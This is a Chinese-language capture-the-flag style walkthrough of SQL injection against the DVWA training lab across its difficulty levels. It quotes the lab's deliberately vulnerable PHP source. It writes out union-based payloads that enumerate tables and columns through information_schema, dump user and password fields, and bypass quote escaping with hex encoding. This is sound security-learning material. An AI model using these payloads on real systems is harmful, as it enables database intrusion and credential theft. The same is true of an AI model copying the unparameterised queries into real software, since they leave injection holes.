SQL注入

low

构造1 and 1=2 回显正常，说明不是数字型注入
构造 1' 出现报错

构造1' -- +回显正常

判断后台执行语句select * from [table_name] where id=''

爆列数

1’ order by 1-- + 回显正常

1' order by 2-- +回显正常

1' order by 3 -- +回显报错

说明有两列

判断查询为假的情况

1' and 1=2 -- +回显为空页面

爆数据库

-1' union select 1,database()-- +

数据库:dvwa

爆表名

-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()-- +

表名:guestbook,users

爆列名

-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='guestbook' -- +

guestbook中列名:comment_id,comment,name

爆具体字段

-1' union select 1,group_concat(comment) from guestbook-- +

comment:This is a test comment.

-1' union select 1,group_concat(name) from guestbook-- +

name:test

-1' union select user,password from users-- + 可以一次爆出表中的所有user,password字段内容受限于Limit

medium

post提交方式

抓包

构造id=1 and 1=2 回显为空，说明是数字型注入

构造id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

构造-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'

这时，出现了报错

我们猜想可能是对'进行了反斜杠转义，这时可以 通过对users进行16进制编码，来绕过使用''

构造-1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273

构造-1 union select user,password from users

<?php

if( isset( $_POST[ 'Submit' ] ) ) {

	// Get input

	$id = $_POST[ 'id' ];

	$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

	$query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";

	$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

	// Get results

	while( $row = mysqli_fetch_assoc( $result ) ) {

		// Display values

		$first = $row["first_name"];

		$last  = $row["last_name"];

		// Feedback for end user

		$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

	}
}

// This is used later on in the index.php page

// Setting it here so we can close the database connection in here like in the rest of the source scripts

$query  = "SELECT COUNT(*) FROM users;";

$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);

?>

mysqli_real_escape_string()这个函数会对NUL（ASCII 0）、\n、\r、\、'、" 和 Control-Z进行转义，上述就是用了此函数

相似的还有：

addslashes() 函数会对,',",null进行添加反斜杠

stripslashes()函数删除由 addslashes()函数添加的反斜杠

high

<?php

if( isset( $_SESSION [ 'id' ] ) ) {

	// Get input

	$id = $_SESSION[ 'id' ];

	// Check database

	$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";

	$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

	// Get results

	while( $row = mysqli_fetch_assoc( $result ) ) {

		// Get values

		$first = $row["first_name"];

		$last  = $row["last_name"];

		// Feedback for end user

		$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

	}

	((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);		

}

?>

点击“here to change your ID”，页面自动跳转，，防御了自动化的SQL注入(sqlmap)，分析源码可以看到，对参数没有做防御，在sql查询语句中限制啦查询条数,但是没有什么用，可以用注释绕过

-1‘ union select user,password from users -- +

impossible

分析源码可以看到使用啦PD0技术，，杜绝啦SQL注入。